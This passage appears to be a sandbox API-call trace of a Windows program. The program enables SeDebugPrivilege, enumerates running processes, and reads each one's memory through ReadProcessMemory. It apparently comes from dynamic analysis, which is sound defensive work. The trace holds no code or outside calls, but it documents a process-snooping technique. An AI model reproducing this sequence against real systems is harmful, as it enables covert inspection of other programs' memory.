lpProcName="RtlInitUnicodeString") returned 0x7fffcca5db90 [0312.486] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlFreeUnicodeString") returned 0x7fffcca601c0 [0312.486] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7fffccace270 [0312.486] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7fffccacd950 [0312.486] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtCreateFile") returned 0x7fffccacb820 [0312.487] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemInformation") returned 0x7fffccacb440 [0312.487] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryDirectoryObject") returned 0x7fffccacd5d0 [0312.487] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryObject") returned 0x7fffccacaf80 [0312.487] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenDirectoryObject") returned 0x7fffccacb880 [0312.487] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationProcess") returned 0x7fffccacb0a0 [0312.488] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryInformationToken") returned 0x7fffccacb1a0 [0312.488] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtOpenFile") returned 0x7fffccacb3e0 [0312.488] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtClose") returned 0x7fffccacaf60 [0312.488] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtFsControlFile") returned 0x7fffccacb4a0 [0312.488] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQueryVolumeInformationFile") returned 0x7fffccacb6a0 [0312.488] malloc (_Size=0x18) returned 0xec9b80 [0312.489] GetCurrentThread () returned 0xfffffffffffffffe [0312.489] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa64) returned 1 [0312.489] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0312.494] RtlRestoreLastWin32Error () returned 0x2ad000 [0312.494] AdjustTokenPrivileges (in: TokenHandle=0xa64, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0312.494] GetLastError () returned 0x0 [0312.494] CloseHandle (hObject=0xa64) returned 1 [0312.494] malloc (_Size=0x8000) returned 0xe9afd0 [0312.495] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0312.499] free (_Block=0xe9afd0) [0312.499] malloc (_Size=0x10000) returned 0xeced60 [0312.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0312.503] free (_Block=0xeced60) [0312.504] malloc (_Size=0x18000) returned 0xeced60 [0312.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0312.509] free (_Block=0xeced60) [0312.517] malloc (_Size=0x20000) returned 0xf1af50 [0312.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0312.524] free (_Block=0xf1af50) [0312.524] malloc (_Size=0x28000) returned 0x2410080 [0312.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0312.531] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0312.532] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0312.532] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.532] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.534] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0312.534] CloseHandle (hObject=0x0) returned 0 [0312.534] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0312.535] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0312.535] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.535] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0312.536] CloseHandle (hObject=0x0) returned 0 [0312.536] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0312.537] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0312.537] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.537] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0312.538] CloseHandle (hObject=0x0) returned 0 [0312.538] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0312.538] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0312.538] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.538] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0312.541] CloseHandle (hObject=0x0) returned 0 [0312.541] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0312.542] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0312.542] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.542] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0312.543] CloseHandle (hObject=0x0) returned 0 [0312.543] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0312.544] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0312.544] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.544] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.545] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0312.546] CloseHandle (hObject=0x0) returned 0 [0312.546] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0312.546] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0312.546] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.546] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.547] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0312.547] CloseHandle (hObject=0x0) returned 0 [0312.548] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0312.548] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0312.548] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.549] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0312.549] GetLastError () returned 0x0 [0312.549] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.549] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.550] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.550] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.551] malloc (_Size=0x1c) returned 0xecd5d0 [0312.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd5d0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd5d0*, lpNumberOfBytesRead=0x0) returned 1 [0312.551] free (_Block=0xecd5d0) [0312.551] CloseHandle (hObject=0xa9c) returned 1 [0312.551] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0312.551] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0312.552] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.552] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0312.553] CloseHandle (hObject=0x0) returned 0 [0312.553] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0312.553] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0312.553] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.553] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.554] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0312.554] GetLastError () returned 0x0 [0312.554] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.554] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.555] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.555] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.555] malloc (_Size=0x3e) returned 0xea8010 [0312.555] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea8010, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8010*, lpNumberOfBytesRead=0x0) returned 1 [0312.556] free (_Block=0xea8010) [0312.605] CloseHandle (hObject=0xa9c) returned 1 [0312.606] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0312.606] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0312.606] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.606] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.607] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0312.607] GetLastError () returned 0x0 [0312.607] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.608] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.608] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.608] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.608] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.608] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.608] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.608] malloc (_Size=0x26) returned 0xecd480 [0312.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd480, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd480*, lpNumberOfBytesRead=0x0) returned 1 [0312.610] free (_Block=0xecd480) [0312.610] CloseHandle (hObject=0xa9c) returned 1 [0312.610] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0312.611] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0312.611] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.611] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.612] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0312.612] GetLastError () returned 0x0 [0312.612] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.613] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.613] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.613] malloc (_Size=0x26) returned 0xecd6f0 [0312.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd6f0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd6f0*, lpNumberOfBytesRead=0x0) returned 1 [0312.615] free (_Block=0xecd6f0) [0312.615] CloseHandle (hObject=0xa9c) returned 1 [0312.615] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0312.616] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0312.616] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.616] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.616] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0312.617] GetLastError () returned 0x0 [0312.617] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.617] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.617] ReadProcessMemory (in: hProcess=0xa9c, 